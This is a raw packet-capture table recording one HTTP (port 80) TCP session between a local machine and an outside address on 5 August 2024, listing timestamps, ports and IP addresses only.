Aug 5, 2024 11:59:45.830223083 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:45.830265045 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:45.830272913 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:45.830313921 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:45.830347061 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:45.830363035 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:45.830398083 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:45.830410004 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:45.830456972 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:45.830488920 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:45.830511093 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:45.830523014 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:45.830554962 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:45.830569029 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:45.830589056 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:45.830621958 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:45.830636978 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:45.830653906 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:45.830688000 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:45.830704927 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:45.830720901 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:45.830753088 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:45.830775976 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:45.830809116 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:45.830842018 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:45.830857992 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:45.830877066 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:45.830909014 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:45.830929041 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:45.830944061 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:45.830991983 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:46.105323076 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.105379105 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.105413914 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.105448008 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.105499029 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.105516911 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:46.105530977 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.105562925 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:46.105580091 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:46.105587006 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.105652094 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.105686903 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.105700016 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:46.105719090 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.105752945 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.105770111 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:46.105786085 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.105818987 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.105829000 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:46.105869055 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.105901957 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.105926037 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:46.105952978 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.105987072 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.106017113 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:46.106023073 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.106057882 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.106070995 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:46.106091976 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.106142998 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:46.106385946 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.106437922 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.106470108 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.106492043 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:46.106796026 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.106849909 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.106851101 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:46.106887102 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.106919050 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.106941938 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:46.106950998 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.106983900 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.107001066 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.107043982 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:46.107104063 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.107206106 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.107239008 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.107263088 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:46.107290030 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.107321978 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.107336044 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:46.107355118 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.107387066 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.107400894 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:46.107450008 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.107481956 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.107508898 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:46.107516050 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.107551098 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.107563972 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:46.107584953 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.107637882 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:46.107641935 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.108022928 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.108055115 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.108078003 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:46.108088970 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.108134031 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.108136892 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:46.160763979 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:46.408937931 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.409048080 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.409118891 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.409121990 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:46.409153938 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.409187078 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.409209013 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:46.409235001 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.409270048 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.409292936 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:46.409306049 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.409354925 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.409357071 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:46.409393072 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.409425020 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.409442902 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:46.409460068 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.409491062 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.409509897 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:46.409526110 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.409558058 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.409575939 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:46.409591913 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.409624100 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.409641027 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:46.409657955 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.409693956 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.409713984 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:46.409728050 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.409763098 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.409776926 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:46.410121918 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.410155058 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.410186052 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:46.410190105 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.410237074 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:46.410243034 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.410274982 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.410307884 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.410321951 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:46.410341024 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.410373926 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.410397053 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:46.410656929 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.410710096 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.410711050 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:46.410744905 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.410795927 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.410800934 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:46.410830975 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.410862923 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.410883904 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:46.410896063 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.410928965 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.410949945 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:46.410963058 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.410999060 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.411015987 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:46.411264896 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.411317110 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.411325932 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:46.411353111 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.411401033 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.411402941 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:46.411434889 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.411467075 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.411488056 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:46.411500931 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.411533117 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.411572933 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:46.411591053 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.411645889 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:46.495790958 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.535685062 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:46.753168106 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.753228903 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.753281116 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.753287077 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:46.753336906 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.753386021 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.753388882 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:46.753420115 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.753463984 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:46.753470898 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.753520966 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.753568888 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.753577948 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:46.753602028 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.753633976 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.753655910 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:46.753669977 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.753701925 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.753719091 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:46.753736019 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.753767967 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.753783941 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:46.753803968 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.753834963 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.753848076 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:46.753889084 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.753921032 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.753942013 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:46.753956079 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.754009008 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:46.754360914 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.754410982 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.754446030 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.754473925 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:46.754481077 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.754532099 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.754537106 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:46.754565001 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.754596949 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.754611015 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:46.754628897 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.754661083 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.754681110 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:46.754695892 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.754729033 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.754746914 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:46.754762888 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.754796028 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.754868031 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:46.755248070 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.755312920 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:46.755321980 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.755371094 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.755404949 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.755419970 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:46.755439043 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.755486965 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:46.755490065 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.755522966 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.755556107 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.755577087 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:46.755589008 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.755621910 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.755651951 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:46.755655050 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.755691051 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.755707979 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:46.755724907 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.755775928 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:46.756695032 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.756747961 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.756782055 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.756810904 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:46.756834984 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.756871939 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.756887913 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:46.756906033 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.756938934 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:46.756966114 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:46.801311016 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:47.079480886 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.079536915 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.079586983 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.079610109 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:47.079619884 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.079653978 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.079683065 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:47.079708099 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.079761028 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.079776049 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:47.079793930 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.079848051 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.079848051 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:47.079879999 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.079915047 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.079943895 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:47.079946041 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.079979897 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.080004930 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:47.080013037 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.080046892 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.080077887 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:47.080079079 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.080111980 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.080140114 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:47.080147982 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.080182076 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.080209970 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:47.080214977 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.080250025 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.080281973 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:47.080533981 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.080584049 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.080595970 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:47.080621004 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.080672979 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.080678940 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:47.080723047 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.080756903 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.080787897 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.080790997 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:47.080821037 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.080842972 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:47.080853939 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.080888033 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.080916882 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:47.080924988 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.080986977 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:47.081325054 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.081376076 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.081424952 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.081448078 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:47.081459045 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.081491947 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.081526995 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.081538916 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:47.081588984 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:47.081612110 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.081664085 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.081712008 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.081723928 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:47.081747055 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.081779003 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.081811905 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.081819057 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:47.081882000 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:47.081897020 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.081945896 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.081979036 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.082010031 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.082014084 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:47.082043886 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.082073927 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:47.082076073 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.082110882 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.082128048 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:47.082886934 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.082950115 CEST	80	49763	27.221.16.149	192.168.2.5
